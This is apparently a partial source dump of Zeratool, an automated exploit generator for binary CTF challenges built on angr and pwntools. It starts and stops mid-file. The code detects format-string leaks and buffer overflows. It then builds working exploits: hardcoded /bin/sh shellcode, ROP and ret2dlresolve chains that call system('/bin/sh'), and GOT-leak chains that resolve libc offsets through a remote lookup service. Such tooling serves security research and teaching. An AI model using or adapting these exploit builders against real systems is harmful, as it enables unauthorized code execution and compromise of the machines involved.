73 | var_len = get_max_strlen(state, var_data)
74 |
75 | fmt_len = self._sim_strlen(fmt)
76 | # if len(state.solver.eval_upto(fmt_len,2)) > 1:
77 | # state.add_constraints(fmt_len == var_len)
78 |
79 | # Reload with just our max len
80 | var_data = state.memory.load(var_loc, var_len)
81 |
82 | log.info("Building list of symbolic bytes")
83 | symbolic_list = [
84 | state.memory.load(var_loc + x, 1).symbolic for x in range(var_len)
85 | ]
86 | log.info("Done Building list of symbolic bytes")
87 |
88 | """
89 | Iterate over the characters in the string
90 | Checking for where our symbolic values are
91 | This helps in weird cases like:
92 |
93 | char myVal[100] = "I\'m cool ";
94 | strcat(myVal,STDIN);
95 | printf(myVal);
96 | """
97 | position = 0
98 | count = 0
99 | greatest_count = 0
100 | prev_item = symbolic_list[0]
101 | for i in range(1, len(symbolic_list)):
102 | if symbolic_list[i] and symbolic_list[i] == symbolic_list[i - 1]:
103 | count = count + 1
104 | if count > greatest_count:
105 | greatest_count = count
106 | position = i - count
107 | else:
108 | if count > greatest_count:
109 | greatest_count = count
110 | position = i - 1 - count
111 | # previous position minus greatest count
112 | count = 0
113 | log.info(
114 | "[+] Found symbolic buffer at position {} of length {}".format(
115 | position, greatest_count
116 | )
117 | )
118 |
119 | if greatest_count > 0:
120 | str_val = b"%lx_"
121 | if bits == 64:
122 | str_val = b"%llx_"
123 | if self.can_constrain_bytes(
124 | state, var_data, var_loc, position, var_len, strVal=str_val
125 | ):
126 | log.info("[+] Can constrain bytes")
127 | log.info("[+] Constraining input to leak")
128 |
129 | self.constrainBytes(
130 | state,
131 | var_data,
132 | var_loc,
133 | position,
134 | var_len,
135 | strVal=str_val,
136 | )
137 | # Verify solution
138 | # stdin_str = str(state_copy.posix.dumps(0))
139 | # user_input = self.state.globals["inputType"]
140 | # if str_val in solv(user_input):
141 | # var_value = self.state.memory.load(var_loc)
142 | # self.constrainBytes(
143 | # self.state, var_value, var_loc, position, var_value_length
144 | # )
145 | # print("[+] Vulnerable path found {}".format(vuln_string))
146 | user_input = state.globals["user_input"]
147 |
148 | self.state.globals["input"] = solv(user_input, cast_to=bytes)
149 | self.state.globals["type"] = "Format"
150 | self.state.globals["position"] = position
151 | self.state.globals["length"] = greatest_count
152 |
153 | return True
154 |
155 | return False
156 |
157 | def can_constrain_bytes(self, state, symVar, loc, position, length, strVal=b"%x_"):
158 | total_region = self.state.memory.load(loc, length)
159 | total_format = strVal * length
160 | # If we can constrain it all in one go, then let's do it!
161 | if state.solver.satisfiable(
162 | extra_constraints=[total_region == total_format[:length]]
163 | ):
164 | log.info("Can constrain it all, let's go!")
165 | state.add_constraints(total_region == total_format[:length])
166 | return True
167 |
168 | for i in tqdm.tqdm(range(length), total=length, desc="Checking Constraints"):
169 | strValIndex = i % len(strVal)
170 | curr_byte = self.state.memory.load(loc + i, 1)
171 | if not state.solver.satisfiable(
172 | extra_constraints=[curr_byte == strVal[strValIndex]]
173 | ):
174 | return False
175 | return True
176 |
177 | def constrainBytes(self, state, symVar, loc, position, length, strVal=b"%x_"):
178 |
179 | total_region = self.state.memory.load(loc, length)
180 | total_format = strVal * length
181 | # If we can constrain it all in one go, then let's do it!
182 | if state.solver.satisfiable(
183 | extra_constraints=[total_region == total_format[:length]]
184 | ):
185 | log.info("Can constrain it all, let's go!")
186 | state.add_constraints(total_region == total_format[:length])
187 | return
188 |
189 | for i in tqdm.tqdm(range(length), total=length, desc="Constraining"):
190 | strValIndex = i % len(strVal)
191 | curr_byte = self.state.memory.load(loc + i, 1)
192 | if state.solver.satisfiable(
193 | extra_constraints=[curr_byte == strVal[strValIndex]]
194 | ):
195 | state.add_constraints(curr_byte == strVal[strValIndex])
196 | else:
197 | log.info(
198 | "[~] Byte {} not constrained to {}".format(i, strVal[strValIndex])
199 | )
200 |
201 | def run(self, _, fmt):
202 | if not self.checkExploitable(fmt):
203 | return super(type(self), self).run(fmt)
204 |
205 |
206 | class printf_leak_detect(angr.procedures.libc.printf.printf):
207 | IS_FUNCTION = True
208 | format_index = 0
209 | """
210 | Checks userinput arg
211 | """
212 |
213 | def __init__(self, format_index):
214 | # Set user input index for different
215 | # printf types
216 | self.format_index = format_index
217 | super(type(self), self).__init__()
218 |
219 | def check_for_leak(self, fmt):
220 |
221 | bits = self.state.arch.bits
222 | load_len = int(bits / 8)
223 | max_read_len = 1024
224 | """
225 | For each value passed to printf
226 | Check to see if there are any symbolic bytes
227 | Passed in that we control
228 | """
229 | state = self.state
230 | p = self.state.project
231 | elf = ELF(state.project.filename)
232 |
233 | fmt_str = self._parse(fmt)
234 |
235 | for component in fmt_str.components:
236 |
237 | # We only want format specifiers
238 | if (
239 | isinstance(component, bytes)
240 | or isinstance(component, str)
241 | or isinstance(component, claripy.ast.BV)
242 | ):
243 | continue
244 |
245 | printf_arg = component
246 |
247 | fmt_spec = component
248 |
249 | i_val = self.va_arg("void*")
250 |
251 | c_val = int(state.solver.eval(i_val))
252 | c_val &= (1 << (fmt_spec.size * 8)) - 1
253 | if fmt_spec.signed and (c_val & (1 << ((fmt_spec.size * 8) - 1))):
254 | c_val -= 1 << fmt_spec.size * 8
255 |
256 | if fmt_spec.spec_type in (b"d", b"i"):
257 | s_val = str(c_val)
258 | elif fmt_spec.spec_type == b"u":
259 | s_val = str(c_val)
260 | elif fmt_spec.spec_type == b"c":
261 | s_val = chr(c_val & 0xFF)
262 | elif fmt_spec.spec_type == b"x":
263 | s_val = hex(c_val)[2:]
264 | elif fmt_spec.spec_type == b"o":
265 | s_val = oct(c_val)[2:]
266 | elif fmt_spec.spec_type == b"p":
267 | s_val = hex(c_val)
268 | else:
269 | log.warning("Unimplemented format specifier '%s'" % fmt_spec.spec_type)
270 | continue
271 |
272 | if isinstance(fmt_spec.length_spec, int):
273 | s_val = s_val.rjust(fmt_spec.length_spec, fmt_spec.pad_chr)
274 |
275 | var_addr = c_val
276 |
277 | # Are any pointers GOT addresses?
278 | for name, addr in elf.got.items():
279 | if var_addr == addr:
280 | log.info("[+] Printf leaked GOT {}".format(name))
281 | state.globals["leaked_type"] = "function"
282 | state.globals["leaked_func"] = name
283 | state.globals["leaked_addr"] = var_addr
284 |
285 | # Input to leak
286 | user_input = state.globals["user_input"]
287 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
288 |
289 | state.globals["leak_input"] = input_bytes
290 | state.globals["leak_output"] = state.posix.dumps(1)
291 | return True
292 | # Heap and stack addrs should be in a heap or stack
293 | # segment, but angr doesn't map those segments so the
294 | # below call will not work
295 | # found_obj = p.loader.find_segment_containing(var_addr)
296 |
297 | # Check for stack address leak
298 | # So we have a dumb check to see if it's a stack addr
299 | stack_ptr = state.solver.eval(state.regs.sp)
300 |
301 | var_addr_mask = var_addr >> 28
302 | stack_ptr_mask = stack_ptr >> 28
303 |
304 | if var_addr_mask == stack_ptr_mask:
305 | log.info("[+] Leaked a stack addr : {}".format(hex(var_addr)))
306 | state.globals["leaked_type"] = "stack_address"
307 | state.globals["leaked_addr"] = var_addr
308 |
309 | # Input to leak
310 | user_input = state.globals["user_input"]
311 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
312 |
313 | input_bytes = get_trimmed_input(user_input, state)
314 |
315 | state.globals["leak_input"] = input_bytes
316 | state.globals["leak_output"] = state.posix.dumps(1)
317 | # Check tracked malloc addrs
318 | if "stored_malloc" in self.state.globals.keys():
319 | for addr in self.state.globals["stored_malloc"]:
320 | if addr == var_addr:
321 | log.info("[+] Leaked a heap addr : {}".format(hex(var_addr)))
322 | state.globals["leaked_type"] = "heap_address"
323 | state.globals["leaked_addr"] = var_addr
324 |
325 | # Input to leak
326 | user_input = state.globals["user_input"]
327 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
328 |
329 | state.globals["leak_input"] = input_bytes
330 | state.globals["leak_output"] = state.posix.dumps(1)
331 |
332 | def run(self, fmt):
333 | """
334 | Iterating over the va_args checking for a leak
335 | will consume them and prevent us from printing
336 | normally, so we need to make a copy.
337 | """
338 | try:
339 | va_args_copy = copy.deepcopy(self)
340 | except:
341 | # Just bail out
342 | return super(type(self), self).run(fmt)
343 |
344 | va_args_copy.check_for_leak(fmt)
345 |
346 | return super(type(self), self).run(fmt)
347 |
--------------------------------------------------------------------------------
/zeratool/protectionDetector.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import logging
3 |
4 | log = logging.getLogger(__name__)
5 |
6 |
7 | def getProperties(binary_name):
8 |
9 | properties = {}
10 | binary = ELF(binary_name)
11 | properties["aslr"] = binary.aslr
12 | properties["arch"] = binary.arch
13 | properties["canary"] = binary.canary
14 | properties["got"] = binary.got
15 | properties["nx"] = binary.nx
16 | properties["pie"] = binary.pie
17 | properties["plt"] = binary.plt
18 | properties["relro"] = binary.relro
19 |
20 | return properties
21 |
--------------------------------------------------------------------------------
/zeratool/puts_model.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import angr
3 | import claripy
4 | import tqdm
5 | import logging
6 |
7 | log = logging.getLogger(__name__)
8 |
9 |
10 | class putsFormat(angr.procedures.libc.puts.puts):
11 | IS_FUNCTION = True
12 |
13 | def check_for_leak(self, string):
14 |
15 | state = self.state
16 |
17 | if state.globals["needs_leak"] or True:
18 | # string should be a ptr, we are going to check
19 | # to see if it's pointing to a got entry
20 | elf = ELF(state.project.filename)
21 | string_addr = state.solver.eval(string)
22 | for name, addr in elf.got.items():
23 | if string_addr == addr:
24 | log.info("[+] Puts leaked {}".format(name))
25 | state.globals["output_before_leak"] = state.posix.dumps(1)
26 | state.globals["leaked_func"] = name
27 | # return True
28 |
29 | return False
30 |
31 | def run(self, string):
32 | self.check_for_leak(string)
33 |
34 | # Wait till angr #3026 gets merged, then change it back
35 | # to
36 | # return super(type(self), self).run(string)
37 |
38 | stdout = self.state.posix.get_fd(1)
39 | if stdout is None:
40 | return -1
41 |
42 | strlen = angr.SIM_PROCEDURES["libc"]["strlen"]
43 | length = self.inline_call(strlen, string).ret_expr
44 | out = stdout.write(string, length)
45 | stdout.write_data(self.state.solver.BVV(b"\n"))
46 | return out + 1
47 |
--------------------------------------------------------------------------------
/zeratool/radare_helper.py:
--------------------------------------------------------------------------------
1 | import r2pipe
2 | import json
3 | import os
4 | import logging
5 |
6 | log = logging.getLogger(__name__)
7 |
8 |
9 | def getRegValues(filename, endAddr=None):
10 |
11 | r2 = r2pipe.open(filename, flags=["-d"])
12 | # r2.cmd("doo")
13 | if endAddr:
14 | r2.cmd("dcu {}".format(endAddr))
15 | else:
16 | r2.cmd("e dbg.bep=entry")
17 | entry_addr = json.loads(r2.cmd("iej"))[0]["vaddr"]
18 | r2.cmd("dcu {}".format(entry_addr))
19 | # drj command is broken in r2 right now
20 | # so use drrj
21 | regs = json.loads(r2.cmd("drrj"))
22 | regs = dict([(x["reg"], int(x["value"], 16)) for x in regs if x["reg"] != "rflags" and x["reg"] != "eflags"])
23 | r2.quit()
24 | return regs
25 |
26 |
27 | def get_base_addr(filename):
28 |
29 | r2 = r2pipe.open(filename)
30 | r2.cmd("doo")
31 | base_addr = json.loads(r2.cmd("iMj"))["vaddr"]
32 | r2.quit()
33 | return base_addr
34 |
35 |
36 | """
37 | This is so hacky. I'm sorry
38 | It's also only for stdin
39 | """
40 |
41 |
42 | def findShellcode(filename, endAddr, shellcode, commandInput):
43 |
44 | hex_str = shellcode[:4]
45 | hex_str = "".join([hex(x).replace("0x", "") for x in hex_str])
46 |
47 | abs_path = os.path.abspath(filename)
48 |
49 | # If you know a better way to direct stdin please let me know
50 | os.system("env > temp.env")
51 | with open("command.input", "wb") as f:
52 | f.write(commandInput)
53 | with open("temp.rr2", "w") as f:
54 | # f.write(
55 | # "program={}\nstdin=command.input\nenvfile={}\n".format(filename, "temp.env")
56 | # )
57 | f.write(
58 | "program={}\nstdin=command.input\nclearenv=true\nenvfile={}\n".format(
59 | abs_path, "temp.env"
60 | )
61 | )
62 |
63 | r2 = r2pipe.open(filename)
64 | r2.cmd("e dbg.profile = temp.rr2")
65 | r2.cmd("ood")
66 | r2.cmd("dcu {}".format(endAddr))
67 | r2.cmd("s ebp")
68 | r2.cmd("e search.maxhits =1")
69 | r2.cmd("e search.in=dbg.map") # Need to specify this for r2pipe
70 |
71 | loc = json.loads(r2.cmd("/xj {}".format(hex_str)))
72 | # Cleaning up
73 | if os.path.exists("command.input"):
74 | os.remove("command.input")
75 | if os.path.exists("temp.rr2"):
76 | os.remove("temp.rr2")
77 | if os.path.exists("temp.env"):
78 | os.remove("temp.env")
79 |
80 | return loc[0]
81 |
--------------------------------------------------------------------------------
/zeratool/remote_libc.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import json
3 | import logging
4 |
5 | log = logging.getLogger(__name__)
6 |
7 |
8 | def get_remote_libc_with_leaks(symbols):
9 | """
10 | Expecting symbols like:
11 | symbols = {"symbols" :{
12 | "strncpy": "db0",
13 | "strcat": "0x000000000d800"
14 | }
15 | }
16 | """
17 |
18 | url = "https://libc.rip/api/find"
19 | headers = {"Content-Type": "application/json"}
20 |
21 | data = json.dumps(symbols)
22 |
23 | resp = requests.post(url, headers=headers, data=data)
24 |
25 | if resp.status_code != 200:
26 | log.error("Got response {} from {}".format(resp.status_code, url))
27 | return None
28 |
29 | resp_dict = json.loads(resp.content)
30 | log.info("Matched {} possible libc".format(len(resp_dict)))
31 |
32 | return resp_dict
33 |
--------------------------------------------------------------------------------
/zeratool/simgr_helper.py:
--------------------------------------------------------------------------------
1 | import claripy
2 | from .radare_helper import findShellcode
3 | from .remote_libc import get_remote_libc_with_leaks
4 | import angr
5 | from pwn import *
6 | import logging
7 |
8 | logging.getLogger("pwnlib.elf.elf").disabled = True
9 |
10 | log = logging.getLogger(__name__)
11 |
12 | is_printable = False
13 |
14 |
15 | def constrainToAddress(state, sym_val, addr, endian="little"):
16 |
17 | bits = state.arch.bits
18 | padded_addr = 0
19 |
20 | if bits == 32:
21 | padded_addr = p32(addr, endian=endian)
22 | elif bits == 64:
23 | botAddr = addr & 0xFFFFFFFF
24 | topAddr = (addr >> 32) & 0xFFFFFFFF
25 | padded_addr = p32(topAddr, endian=endian) + p32(botAddr, endian=endian)
26 |
27 | constraints = []
28 | for i in range(bits / 8):
29 | curr_byte = sym_val.get_byte(i)
30 | constraint = claripy.And(curr_byte == padded_addr[i])
31 | if state.se.satisfiable(extra_constraints=[constraint]):
32 | constraints.append(constraint)
33 |
34 | return constraints
35 |
36 |
37 | def getShellcode(properties):
38 | context.arch = properties["protections"]["arch"]
39 | context.bits = 32
40 |
41 | if context.arch == "i386": # /bin/sh shellcode - 23 bytes
42 | shellcode = (
43 | b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
44 | + b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
45 | )
46 | elif context.arch == "amd64": # /bin/sh shellcode - 23 bytes
47 | context.bits = 64
48 | shellcode = (
49 | b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
50 | + b"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
51 | )
52 | else:
53 | assembly = shellcraft.sh() # This works, but the shellcode is usually long
54 | shellcode = asm(assembly)
55 | return shellcode
56 |
57 |
58 | def get_leak_rop_chain(properties, leak_num=-1):
59 | context.binary = properties["file"]
60 | elf = ELF(properties["file"])
61 | rop = ROP(elf)
62 |
63 | print_functions = ["puts", "printf"]
64 | leak_function = list(elf.got)[leak_num]
65 | log.debug("elf.got : {}".format(elf.got))
66 | log.debug("Leaking {}".format(leak_function))
67 |
68 | ret_func = None
69 |
70 | # Find the function we want to call
71 | # Just puts for right now
72 | for function in print_functions:
73 | log.debug(function)
74 | log.debug(elf.plt)
75 | if function in elf.plt:
76 | ret_func = elf.plt[function]
77 | break
78 | elif function in elf.symbols:
79 | ret_func = elf.symbols[function]
80 | break
81 | if ret_func is None:
82 | raise RuntimeError("Cannot find symbol to return to")
83 |
84 | # chain is even number, so need to align for movabs
85 | if not properties["sp_is_16bit_aligned"]:
86 | log.info("sp is aligned 16bit")
87 | rop.raw(rop.ret.address)
88 |
89 | rop.call(ret_func, [elf.got[leak_function]])
90 |
91 | retrigger_addr = properties.get("vulnerable_function", None)
92 |
93 | if retrigger_addr: # Retrigger exploit
94 | rop.call(retrigger_addr.rebased_addr)
95 | elif "main" in elf.symbols:
96 | rop.call(elf.symbols["main"])
97 | else:
98 | log.error("No main symbol exposed, can't auto call")
99 |
100 | log.info("\n{}".format(rop.dump()))
101 |
102 | return rop, rop.build()
103 |
104 |
105 | def choose_data_addr(elf, symbol):
106 | # Try to find an offset that works with the version addr
107 | # The offset for the ElfSym (size 0x10) from .DynSym needs to be in a writable section
108 | # and the offset from DT_VERSYM (size 2) needs to point to a half-word that isn't too large
109 | # Otherwise we will get a segfault
110 | # We can't go beyond mapped memory of libc which l_info is close to, the value we read
111 | # will get multiplied by 0x10 and added to the base of l_versions so it needs to be less than
112 | # and an upper limit i've seen is ~0x600, so we would need bytes less than 0x60
113 |
114 | elf_load_address_fixup = elf.address - elf.load_addr
115 | symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup
116 | versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup
117 | bss = elf.get_section_by_name(".bss").header.sh_addr + elf_load_address_fixup
118 | start_search_addr = bss + len(symbol + b"\x00")
119 | # End at the end of the page
120 | end_search_addr = (bss + 0x1000) & ~0xFFF
121 | recommend_addr = start_search_addr
122 | for a in range(start_search_addr, end_search_addr, 2):
123 | index = align(0x10, a - symtab) // 0x10
124 | version_addr = versym + (2 * index)
125 | # Get bytes
126 | b = elf.read(version_addr, 2)
127 | val = int.from_bytes(b, "little")
128 | if val < 0x60:
129 | recommend_addr = a
130 | break
131 | return recommend_addr
132 |
133 |
134 | def get_dlresolve_rop_chain(properties, state, data_addr=None):
135 |
136 | context.binary = properties["file"]
137 | elf = ELF(properties["file"])
138 | rop = ROP(elf)
139 |
140 | log.info("Trying dlresolve chain")
141 |
142 | context.arch = "amd64"
143 | dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
144 |
145 | # data_addr = choose_data_addr(elf, b"system")
146 |
147 | # log.info("{} : {}".format(hex(data_addr), hex(dlresolve.data_addr)))
148 |
149 | if data_addr:
150 | dlresolve.data_addr = data_addr
151 |
152 | if "read" in elf.plt:
153 | rop.call("read", [0, dlresolve.data_addr])
154 | elif "gets" in elf.plt:
155 | rop.call("gets", [dlresolve.data_addr])
156 | # rop.read(0, dlresolve.data_addr)
157 | # rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
158 |
159 | rop.ret2dlresolve(dlresolve)
160 |
161 | log.info("rop chain gadgets and values:\n{}".format(rop.dump()))
162 |
163 | """
164 | We need both the generated chain and gadget addresses for when
165 | we contrain theprogram state to execute and constrain this chain,
166 | so we pass back both the rop tools refernce along with the chain.
167 | """
168 | return dlresolve, rop, rop.build()
169 |
170 |
171 | def get_rop_chain(properties, state=None):
172 | context.binary = properties["file"]
173 | elf = ELF(properties["file"])
174 | rop = ROP(elf)
175 |
176 | strings = [b"/bin/sh\x00", b"/bin/bash\x00"]
177 | functions = ["execve", "system"]
178 |
179 | ret_func = None
180 | ret_string = None
181 |
182 | if properties.get("force_dlresolve", False):
183 | log.info("Forcing dlresolve chain")
184 | return get_dlresolve_rop_chain(properties, state)
185 |
186 | # Find the function we want to call
187 | for function in functions:
188 | if function in elf.plt:
189 | ret_func = elf.plt[function]
190 | break
191 | elif function in elf.symbols:
192 | ret_func = elf.symbols[function]
193 | break
194 |
195 | # Find the string we want to pass it
196 | for string in strings:
197 | str_occurences = list(elf.search(string))
198 | if str_occurences:
199 | ret_string = str_occurences[0]
200 | break
201 |
202 | # If we can't find our symbols and string in the binary
203 | # we may need to check our libc bin
204 | if properties.get("libc", None):
205 |
206 | log.info("[~] Provided libc, using leak and lib to build chain")
207 |
208 | if isinstance(properties["libc"], dict):
209 | log.info("Trying remote libc offsets")
210 | remote_libc = properties["libc"]["remote_libc"][0]
211 |
212 | symbols = remote_libc["symbols"]
213 | ret_func = int(symbols["system"], 16) + properties["libc_base_address"]
214 | ret_string = (
215 | int(symbols["str_bin_sh"], 16) + properties["libc_base_address"]
216 | )
217 | else:
218 | libc = ELF(properties["libc"])
219 | # Set libc loaded address
220 | libc.address = properties["libc_base_address"]
221 |
222 | # Find the function we want to call
223 | for function in functions:
224 | if function in libc.plt:
225 | ret_func = libc.plt[function]
226 | break
227 | elif function in libc.symbols:
228 | ret_func = libc.symbols[function]
229 | break
230 |
231 | # Find the string we want to pass it
232 | for string in strings:
233 | str_occurences = list(libc.search(string))
234 | if str_occurences:
235 | ret_string = str_occurences[0]
236 | break
237 | rop = ROP(libc)
238 |
239 | if not ret_func:
240 | log.warning("Cannot find symbol to return to")
241 | return get_dlresolve_rop_chain(properties, state)
242 | if not ret_string:
243 | log.warning("Cannot find string to pass to system or exec call")
244 | return get_dlresolve_rop_chain(properties, state)
245 |
246 | # chain is odd number, so need to align for movabs
247 | if properties["sp_is_16bit_aligned"]:
248 | log.info("sp is aligned 16bit")
249 | rop.raw(rop.ret.address)
250 |
251 | if properties.get("libc", None):
252 | rop.call(ret_func, [ret_string])
253 | # rop.call(ret_func, [ret_string, 0, 0])
254 | else:
255 | # If we don't have libc we probably don't have all the nice
256 | # gadgets
257 | rop.call(ret_func, [ret_string])
258 |
259 | log.info("\n{}".format(rop.dump()))
260 |
261 | return None, rop, rop.build()
262 |
263 |
264 | def find_symbolic_buffer(state, length, arg=None):
265 | """
266 | dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
267 | control
268 | """
269 | # get all the symbolic bytes from stdin
270 | user_input = state.globals["user_input"]
271 |
272 | sym_addrs = []
273 | sym_addrs.extend(state.memory.addrs_for_name(next(iter(user_input.variables))))
274 |
275 | for addr in sym_addrs:
276 | if check_continuity(addr, sym_addrs, length):
277 | yield addr
278 |
279 |
280 | def check_continuity(address, addresses, length):
281 | """
282 | dumb way of checking if the region at 'address' contains 'length' amount of controlled
283 | memory.
284 | """
285 |
286 | for i in range(length):
287 | if not address + i in addresses:
288 | return False
289 |
290 | return True
291 |
292 |
293 | def overflow_detect_filter(simgr):
294 |
295 | for state in simgr.active:
296 | if state.globals.get("type", None) == "overflow_variable":
297 | log.info("Found vulnerable state. Overflow variable to win")
298 | user_input = state.globals["user_input"]
299 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
300 | log.info("[+] Vulnerable path found {}".format(input_bytes))
301 | state.globals["type"] = "overflow_variable"
302 | state.globals["input"] = input_bytes
303 | simgr.stashes["found"].append(state)
304 | simgr.stashes["active"].remove(state)
305 | return simgr
306 |
307 | for state in simgr.unconstrained:
308 | bits = state.arch.bits
309 | num_count = bits / 8
310 | pc_value = b"C" * int(num_count)
311 |
312 | # Check satisfiability
313 | if state.solver.satisfiable(extra_constraints=[state.regs.pc == pc_value]):
314 |
315 | state.add_constraints(state.regs.pc == pc_value)
316 | user_input = state.globals["user_input"]
317 |
318 | log.info("Found vulnerable state.")
319 |
320 | if is_printable:
321 | log.info("Constraining input to be printable")
322 | for c in user_input.chop(8):
323 | constraint = claripy.And(c > 0x2F, c < 0x7F)
324 | if state.solver.satisfiable([constraint]):
325 | state.add_constraints(constraint)
326 |
327 | # Get input values
328 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
329 | log.info("[+] Vulnerable path found {}".format(input_bytes))
330 | if b"CCCC" in input_bytes:
331 | log.info("[+] Offset to bytes : {}".format(input_bytes.index(b"CCCC")))
332 | state.globals["type"] = "Overflow"
333 | state.globals["input"] = input_bytes
334 | simgr.stashes["found"].append(state)
335 | simgr.stashes["unconstrained"].remove(state)
336 | break
337 |
338 | return simgr
339 |
340 |
341 | def point_to_win_filter(simgr):
342 |
343 | for state in simgr.unconstrained:
344 | properties = state.globals["properties"]
345 |
346 | for func in properties["win_functions"]:
347 | address = properties["win_functions"][func]["fcn_addr"]
348 |
349 | log.info("Trying {}".format(hex(address)))
350 |
351 | # Check satisfiability
352 | if state.solver.satisfiable(extra_constraints=[state.regs.pc == address]):
353 | state.add_constraints(state.regs.pc == address)
354 | user_input = state.globals["user_input"]
355 |
356 | if is_printable:
357 | log.info("Constraining input to be printable")
358 | for c in user_input.chop(8):
359 | constraint = claripy.And(c > 0x2F, c < 0x7F)
360 | if state.solver.satisfiable([constraint]):
361 | state.add_constraints(constraint)
362 |
363 | # Get the string coming into STDIN
364 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
365 | log.info("[+] Vulnerable path found {}".format(input_bytes))
366 | state.globals["type"] = "Overflow"
367 | state.globals["input"] = input_bytes
368 | simgr.stashes["found"].append(state)
369 | simgr.stashes["unconstrained"].remove(state)
370 | return simgr
371 |
372 | return simgr
373 |
374 |
375 | def point_to_shellcode_filter(simgr):
376 | for state in simgr.unconstrained:
377 | properties = state.globals["properties"]
378 | shellcode = getShellcode(properties)
379 | using_run_time_leak = False
380 |
381 | # Find potential addresses for shellcode
382 | addresses = [x for x in find_symbolic_buffer(state, len(shellcode))]
383 | if len(addresses):
384 | list.sort(addresses)
385 |
386 | # Build shellcode and check for bad chars
387 | avoidList = []
388 | for i, address in enumerate(addresses):
389 | my_buf = state.memory.load(address, len(shellcode))
390 | if not state.satisfiable(extra_constraints=([my_buf == shellcode])):
391 | log.info("[~] Shellcode can't be placed. Checking for bad bytes.")
392 | for i in range(len(shellcode)):
393 | curr_byte = state.memory.load(address + i, 1)
394 | if state.satisfiable(
395 | extra_constraints=([curr_byte == shellcode[i]])
396 | ):
397 | pass
398 | # log.info("[+] Byte {} Can be {}".format(i,repr(shellcode[i])))
399 | else:
400 | log.info(
401 | "[-] Address {} Byte {} Can't be {}".format(
402 | hex(address + i), i, repr(shellcode[i])
403 | )
404 | )
405 | avoidList.append(shellcode[i])
406 | log.info("Avoiding : {}".format(avoidList))
407 | log.info("Old shellcode: {} {}".format(len(shellcode), repr(shellcode)))
408 | try:
409 | shellcode = encoders.encode(shellcode, avoidList)
410 | log.info(
411 | "New shellcode: {} {}".format(len(shellcode), repr(shellcode))
412 | )
413 | except PwnlibException:
414 | log.info(
415 | "[-] Unable to encode shellcode to avoid {}".format(avoidList)
416 | )
417 | except TypeError:
418 | raise RuntimeError(
419 | "Pwntools encoders not ported to python3. Can't encode shellcode to avoid bad byte"
420 | )
421 | break
422 |
423 | # addresses = [x for x in find_symbolic_buffer(state,len(shellcode))]
424 | log.info("Trying addresses : {}".format(addresses))
425 | # Iterate over addresses looking for a winner
426 | for address in addresses:
427 | log.info("Trying address {}".format(hex(address)))
428 |
429 | # Setup shellcode
430 | memory = state.memory.load(address, len(shellcode))
431 | shellcode_bvv = state.solver.BVV(shellcode)
432 |
433 | if "leaked_type" in state.globals:
434 | log.info("We have a leak, let's try and use that")
435 |
436 | # Either this is a call during a real run or
437 | # we're still detecting
438 | if "run_leak" in properties["pwn_type"]:
439 | address = properties["pwn_type"]["run_leak"]
440 | # Trust that this leak points to something good
441 | using_run_time_leak = True
442 |
443 | constraint = claripy.And(memory == shellcode_bvv, state.regs.pc == address)
444 |
445 | # Check satisfiability
446 | if state.solver.satisfiable(extra_constraints=[constraint]):
447 | log.info("[+] Win")
448 | state.add_constraints(constraint)
449 |
450 | user_input = state.globals["user_input"]
451 |
452 | if is_printable:
453 | log.info("Constraining input to be printable")
454 | for c in user_input.chop(8):
455 | constraint = claripy.And(c > 0x2F, c < 0x7F)
456 | if state.solver.satisfiable([constraint]):
457 | state.add_constraints(constraint)
458 |
459 | # Get the string coming into STDIN
460 | input_bytes = state.solver.eval(
461 | user_input, cast_to=bytes, extra_constraints=[constraint]
462 | )
463 |
464 | log.info("[+] Vulnerable path found {}".format(input_bytes))
465 | state.globals["type"] = "Overflow"
466 | state.globals["input"] = input_bytes
467 | simgr.stashes["found"].append(state)
468 | return simgr
469 |
470 | return simgr
471 |
472 |
473 | def do_leak_with_ropchain_constrain(
474 | elf, rop_chain, new_state, is_32bit=False, dlresolve=None
475 | ):
476 | """
477 | This is a more traditional build and constrain payload that looks for
478 | an offset from the initial input and starts placing a rop chain there.
479 |
480 | This method is a pain in the butt to debug, so I'd encourage doing the
481 | leak with stepping so we know when a gaget breaks, but if the other one
482 | is breaking, you can try this one.
483 | """
484 | log.debug("Constraining input to rop chain without single stepping")
485 | user_input = new_state.globals["user_input"]
486 |
487 | if is_32bit:
488 | rop_chain_bytes = [x if isinstance(x, int) else u32(x) for x in rop_chain]
489 | rop_chain_bytes = b"".join([p32(x) for x in rop_chain_bytes])
490 | pc_index = 3
491 | else:
492 | rop_chain_bytes = [x if isinstance(x, int) else u64(x) for x in rop_chain]
493 | rop_chain_bytes = b"".join([p64(x) for x in rop_chain_bytes])
494 | pc_index = 7
495 |
496 | bytes_iter = 0
497 | offset = 0
498 | start_constraining = False
499 | for i, x in enumerate(user_input.chop(8)):
500 |
501 | # Hunt for the start of PC overwrite
502 | if x is new_state.regs.pc.chop(8)[pc_index]:
503 | log.debug("Found PC overwrite at offset : {}".format(i))
504 | start_constraining = True
505 |
506 | # Assume gadgets are all next to each other on the stack
507 | # and place them right after each other.
508 | if start_constraining and bytes_iter < len(rop_chain_bytes):
509 | if new_state.satisfiable(
510 | extra_constraints=[x == rop_chain_bytes[bytes_iter]]
511 | ):
512 | new_state.add_constraints(x == rop_chain_bytes[bytes_iter])
513 | bytes_iter += 1
514 | else:
515 | log.error(
516 | "Not satifiable {} -> {}".format(x, rop_chain_bytes[bytes_iter])
517 | )
518 | break
519 |
520 | if not dlresolve:
521 |
522 | rop_simgr = new_state.project.factory.simgr(new_state)
523 |
524 | retrigger_addr = new_state.globals.get("vulnerable_function", None)
525 |
